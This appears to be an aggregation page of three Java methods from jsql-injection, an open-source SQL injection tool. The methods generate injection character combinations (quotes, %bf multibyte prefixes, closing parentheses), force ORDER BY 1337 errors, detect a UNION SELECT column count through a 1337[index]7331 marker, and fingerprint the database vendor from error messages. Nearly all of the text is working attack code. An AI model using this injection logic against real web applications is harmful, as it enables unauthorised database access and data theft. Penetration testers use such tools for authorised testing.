use of com.jsql.model.suspendable.callable.CallablePageSource in project jsql-injection by ron190.
the class SuspendableGetCharInsertion method run.
/**
*/
@SuppressWarnings("unchecked")
@Override
public String run(Object... args) throws JSqlException {
String characterInsertionByUser = (String) args[0];
SimpleEntry<String, String> parameterToInject = (SimpleEntry<String, String>) args[1];
boolean isJson = (boolean) args[2];
// Parallelize the search and let the user stops the process if needed.
// SQL: force a wrong ORDER BY clause with an inexistent column, order by 1337,
// and check if a correct error message is sent back by the server:
// Unknown column '1337' in 'order clause'
// or supplied argument is not a valid MySQL result resource
ExecutorService taskExecutor = Executors.newCachedThreadPool(new ThreadFactoryCallable("CallableGetInsertionCharacter"));
CompletionService<CallablePageSource> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
List<String> charactersInsertion = new ArrayList<>();
for (String prefix : new String[] { "-1", "0", "1", "" }) {
for (String suffix : new String[] { "*", "*'", "'*'", "*\"", "\"*\"", "*%bf'", "%bf'*%bf'", "*%bf\"", "%bf\"*%bf\"" }) {
for (String suffix2 : new String[] { "", ")", "))" }) {
charactersInsertion.add(suffix.replace("*", prefix) + suffix2);
}
}
}
for (String insertionCharacter : charactersInsertion) {
taskCompletionService.submit(new CallablePageSource(insertionCharacter + " " + MediatorModel.model().getVendor().instance().sqlOrderBy(), insertionCharacter));
}
String characterInsertion = null;
int total = charactersInsertion.size();
while (0 < total) {
if (this.isSuspended()) {
throw new StoppedByUserSlidingException();
}
try {
CallablePageSource currentCallable = taskCompletionService.take().get();
total--;
String pageSource = currentCallable.getContent();
if (// the correct character: mysql
Pattern.compile(".*Unknown column '1337' in 'order clause'.*", Pattern.DOTALL).matcher(pageSource).matches() || Pattern.compile(".*supplied argument is not a valid MySQL result resource.*", Pattern.DOTALL).matcher(pageSource).matches() || // the correct character: postgresql
Pattern.compile(".*ORDER BY position 1337 is not in select list.*", Pattern.DOTALL).matcher(pageSource).matches()) {
characterInsertion = currentCallable.getInsertionCharacter();
break;
}
} catch (InterruptedException | ExecutionException e) {
LOGGER.error("Interruption while defining character injection", e);
}
}
if (characterInsertion == null) {
if ("".equals(characterInsertionByUser) || characterInsertionByUser == null || "*".equals(characterInsertionByUser)) {
characterInsertion = "1";
} else {
characterInsertion = characterInsertionByUser;
}
LOGGER.warn("No character insertion activates ORDER BY error, forcing to [" + characterInsertion.replace(InjectionModel.STAR, "") + "]");
} else if (!characterInsertionByUser.replace(InjectionModel.STAR, "").equals(characterInsertion)) {
String characterInsertionByUserFormat = characterInsertionByUser.replace(InjectionModel.STAR, "");
LOGGER.debug("Found character insertion [" + characterInsertion + "] in place of [" + characterInsertionByUserFormat + "] to detect error on ORDER BY");
LOGGER.trace("Add manually the character * like [" + characterInsertionByUserFormat + "*] to force the value [" + characterInsertionByUserFormat + "]");
}
if (!isJson) {
characterInsertion = characterInsertion.replace(InjectionModel.STAR, "") + InjectionModel.STAR;
}
parameterToInject.setValue(characterInsertion);
// TODO optional
return characterInsertion;
}
use of com.jsql.model.suspendable.callable.CallablePageSource in project jsql-injection by ron190.
the class SuspendableGetIndexes method run.
/**
*/
@Override
public String run(Object... args) throws JSqlException {
// Parallelize the search
ExecutorService taskExecutor = Executors.newCachedThreadPool(new ThreadFactoryCallable("CallableGetIndexes"));
CompletionService<CallablePageSource> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
boolean isRequestFound = false;
String initialQuery = "";
int nbIndex;
// pages that display our own url in the source
for (nbIndex = 1; nbIndex <= 10; nbIndex++) {
taskCompletionService.submit(new CallablePageSource(MediatorModel.model().getVendor().instance().sqlIndices(nbIndex)));
}
try {
// Start from 10 to 100 requests
while (!isRequestFound && nbIndex <= 100) {
if (this.isSuspended()) {
throw new StoppedByUserSlidingException();
}
CallablePageSource currentCallable = taskCompletionService.take().get();
// Found a correct mark 1337[index]7331 in the source
if (Pattern.compile("(?s).*1337\\d+7331.*").matcher(currentCallable.getContent()).matches()) {
MediatorModel.model().setSrcSuccess(currentCallable.getContent());
initialQuery = currentCallable.getUrl().replaceAll("0%2b1", "1");
isRequestFound = true;
} else {
// Else add a new index
taskCompletionService.submit(new CallablePageSource(MediatorModel.model().getVendor().instance().sqlIndices(nbIndex)));
nbIndex++;
}
}
taskExecutor.shutdown();
taskExecutor.awaitTermination(15, TimeUnit.SECONDS);
} catch (InterruptedException | ExecutionException e) {
LOGGER.error("Interruption while determining injection indexes", e);
}
if (isRequestFound) {
return initialQuery.replaceAll("\\+\\+union\\+select\\+.*?--\\+$", "+");
}
// TODO optional
return "";
}
use of com.jsql.model.suspendable.callable.CallablePageSource in project jsql-injection by ron190.
the class SuspendableGetVendor method run.
/**
*/
@Override
public Vendor run(Object... args) throws StoppedByUserSlidingException {
Vendor vendor = null;
if (MediatorModel.model().getVendorByUser() != Vendor.AUTO) {
vendor = MediatorModel.model().getVendorByUser();
LOGGER.info(I18n.valueByKey("LOG_DATABASE_TYPE_FORCED_BY_USER") + " [" + vendor + "]");
} else {
// Parallelize the search and let the user stops the process if needed.
// SQL: force a wrong ORDER BY clause with an inexistent column, order by 1337,
// and check if a correct error message is sent back by the server:
// Unknown column '1337' in 'order clause'
// or supplied argument is not a valid MySQL result resource
ExecutorService taskExecutor = Executors.newCachedThreadPool(new ThreadFactoryCallable("CallableGetVendor"));
CompletionService<CallablePageSource> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
for (String insertionCharacter : new String[] { "'\"#-)'\"" }) {
taskCompletionService.submit(new CallablePageSource(insertionCharacter, insertionCharacter));
}
int total = 1;
while (0 < total) {
if (this.isSuspended()) {
throw new StoppedByUserSlidingException();
}
try {
CallablePageSource currentCallable = taskCompletionService.take().get();
total--;
String pageSource = currentCallable.getContent();
for (Vendor vendorTest : Stream.of(Vendor.values()).skip(1).toArray(Vendor[]::new)) {
if (pageSource.matches("(?si).*(" + vendorTest.instance().fingerprintErrorsAsRegex() + ").*")) {
vendor = vendorTest;
LOGGER.debug("Found database [" + vendor + "]");
break;
}
}
} catch (InterruptedException | ExecutionException e) {
LOGGER.error("Interruption while determining the type of database", e);
}
}
// End the job
try {
taskExecutor.shutdown();
taskExecutor.awaitTermination(15, TimeUnit.SECONDS);
} catch (InterruptedException e) {
LOGGER.error(e.getMessage(), e);
Thread.currentThread().interrupt();
}
if (vendor == null) {
vendor = Vendor.MYSQL;
LOGGER.warn(I18n.valueByKey("LOG_DATABASE_TYPE_NOT_FOUND") + " [" + vendor + "]");
} else {
LOGGER.info(I18n.valueByKey("LOG_USING_DATABASE_TYPE") + " [" + vendor + "]");
Map<Header, Object> msgHeader = new EnumMap<>(Header.class);
msgHeader.put(Header.URL, ConnectionUtil.getUrlBase() + ParameterUtil.getQueryStringAsString());
msgHeader.put(Header.VENDOR, vendor);
Request requestDatabaseIdentified = new Request();
requestDatabaseIdentified.setMessage(Interaction.DATABASE_IDENTIFIED);
requestDatabaseIdentified.setParameters(msgHeader);
MediatorModel.model().sendToViews(requestDatabaseIdentified);
}
}
Request requestSetVendor = new Request();
requestSetVendor.setMessage(Interaction.SET_VENDOR);
requestSetVendor.setParameters(vendor);
MediatorModel.model().sendToViews(requestSetVendor);
return vendor;
}
Aggregations